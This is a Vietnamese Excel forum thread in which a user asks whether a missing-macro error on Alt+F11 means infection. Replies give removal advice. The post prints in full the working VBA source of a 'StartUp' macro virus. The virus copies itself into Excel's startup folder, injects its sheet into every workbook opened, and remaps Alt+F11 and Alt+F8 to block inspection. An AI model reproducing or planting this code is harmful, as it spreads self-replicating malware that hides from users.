Nhờ các bạn xem giúp lỗi khi nhấn tổ hợp phím Alt + F11

[baquy]

Khi mở file excel ra và nhấn tổ hợp phím Alt + F11 thì nó khổng mở được cửa sổ Microsoft visual basic mà nó hiện lên 1 cái bảng có nội dung như sau: The macro "C:\User\Home\AppData\Roaming|Microsoft|Exel|XLSTART\StartUp.xls'!escape' cannot be found ở bảng có nốt Ok
(các bạn xem file hình đính kèm giúp nhưng hình mờ quá)

Mình phải vào bằng cách kích chuột phải vào tên sheet rồi chọn view code thì mới mở được của sổ để xem code. Nhưng mình xem thì file nào cũng có Modules Startup kể cả khi mình mới tạo file mới chưa có code gì cả (nội dung của code đó như sau)

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Mong các bạn xem giúp cách xem có phải mình đã bị nhiễm virut "macro startup" không? Cảm ơn các bạn nhiều!

 

[Hai Lúa Miền Tây]

Bạn vào trang sau để tải và diệt nó nhé.
http://bluesofts.net/index.php?option=com_content&view=article&id=81&Itemid=91&lang=vi

 

[ndu96081631]

Con virus này cũng thường thôi, nó nằm trong thư mục XLSTART ấy
xem bài này:
http://www.giaiphapexcel.com/forum/...-lưu-lại-là-bị-lỗi-gì-vậy&p=332906#post332906
Làm bằng tay, diệt nó trong 30 giây

 

[baquy]

Bạn vào trang sau để tải và diệt nó nhé.
http://bluesofts.net/index.php?option=com_content&view=article&id=81&Itemid=91&lang=vi

Cảm ơn Bạn domfootwear phần mềm đấy mình tải về diệt tốt lắm.

Con virus này cũng thường thôi, nó nằm trong thư mục XLSTART ấy
xem bài này:
http://www.giaiphapexcel.com/forum/...-lưu-lại-là-bị-lỗi-gì-vậy&p=332906#post332906
Làm bằng tay, diệt nó trong 30 giây

Mỗi lần gặp khó khăn lại được Thầy giúp đỡ. Cảm ơn Thầy rất nhiều!